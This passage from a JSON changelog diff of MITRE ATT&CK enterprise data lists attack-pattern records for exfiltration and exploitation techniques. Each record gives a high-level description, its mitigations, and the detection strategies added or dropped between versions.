the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0348: Detection Strategy for Exfiltration Over C2 Channel" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:25.159000+00:00", + "modified": "2025-10-24 17:48:47.042000+00:00", + "name": "Exfiltration Over Other Network Medium", + "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1011", + "external_id": "T1011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.042000+00:00\", \"old_value\": \"2025-04-15 22:29:20.961000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n\\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n-\\n-Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0077: Detection of Exfiltration Over Alternate Network Interfaces" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 17:07:57.392000+00:00", + "modified": "2025-10-24 17:48:51.095000+00:00", + "name": "Exfiltration Over Bluetooth", + "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1011/001", + "external_id": "T1011.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.095000+00:00\", \"old_value\": \"2025-04-15 19:58:35.466000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n\\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n-\\n-Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0554: Detection of Bluetooth-Based Data Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:46.461000+00:00", + "modified": "2025-10-24 17:49:32.547000+00:00", + "name": "Exfiltration Over Physical Medium", + "description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1052", + "external_id": "T1052" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Drive: Drive Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.547000+00:00\", \"old_value\": \"2025-04-15 19:59:17.041000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media are mounted.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1034: Limit Hardware Installation", + "M1042: Disable or Remove Feature or Program", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0123: Detection of Data Exfiltration via Removable Media" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 13:50:11.467000+00:00", + "modified": "2025-10-24 17:49:10.994000+00:00", + "name": "Exfiltration over USB", + "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1052/001", + "external_id": "T1052.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Drive: Drive Creation\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.994000+00:00\", \"old_value\": \"2025-04-15 19:58:55.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media are mounted.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1034: Limit Hardware Installation", + "M1042: Disable or Remove Feature or Program", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0220: Detection of USB-Based Data Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 12:51:45.570000+00:00", + "modified": "2025-10-24 17:48:42.061000+00:00", + "name": "Exfiltration Over Web Service", + "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1567", + "external_id": "T1567" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.061000+00:00\", \"old_value\": \"2025-04-15 19:58:25.560000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0548: Detection Strategy for Exfiltration Over Web Service" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 15:04:32.767000+00:00", + "modified": "2025-10-24 17:49:19.048000+00:00", + "name": "Exfiltration to Cloud Storage", + "description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1567/002", + "external_id": "T1567.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.048000+00:00\", \"old_value\": \"2025-04-15 19:59:03.751000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0570: Detection Strategy for Exfiltration to Cloud Storage" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:51:11.772000+00:00", + "modified": "2025-10-24 17:49:04.207000+00:00", + "name": "Exfiltration to Code Repository", + "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1567/001", + "external_id": "T1567.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.207000+00:00\", \"old_value\": \"2025-04-15 19:58:48.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0318: Detection Strategy for Exfiltration to Code Repository" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:18.695000+00:00", + "name": "Exploitation for Client Execution", + "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1203", + "external_id": "T1203" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.695000+00:00\", \"old_value\": \"2025-04-15 19:59:03.090000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0287: Exploitation for Client Execution \u2013 cross-platform behavior chain (browser/Office/3rd-party apps)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:08.674000+00:00", + "name": "Exploitation for Credential Access", + "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1212", + "external_id": "T1212" + }, + { + "source_name": "Bugcrowd Replay Attack", + "description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.", + "url": "https://www.bugcrowd.com/glossary/replay-attack/" + }, + { + "source_name": "Comparitech Replay Attack", + "description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.", + "url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "Storm-0558 techniques for unauthorized email access", + "description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/" + }, + { + "source_name": "Microsoft Midnight Blizzard Replay Attack", + "description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.", + "url": "https://x.com/MsftSecIntel/status/1671579359994343425" + }, + { + "source_name": "Technet MS14-068", + "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.", + "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center", + "Mohit Rathore" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Process: Process Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.674000+00:00\", \"old_value\": \"2025-04-15 22:30:06.288000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1019: Threat Intelligence Program", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0174: Detection Strategy for Exploitation for Credential Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:39.960000+00:00", + "name": "Exploitation for Defense Evasion", + "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { 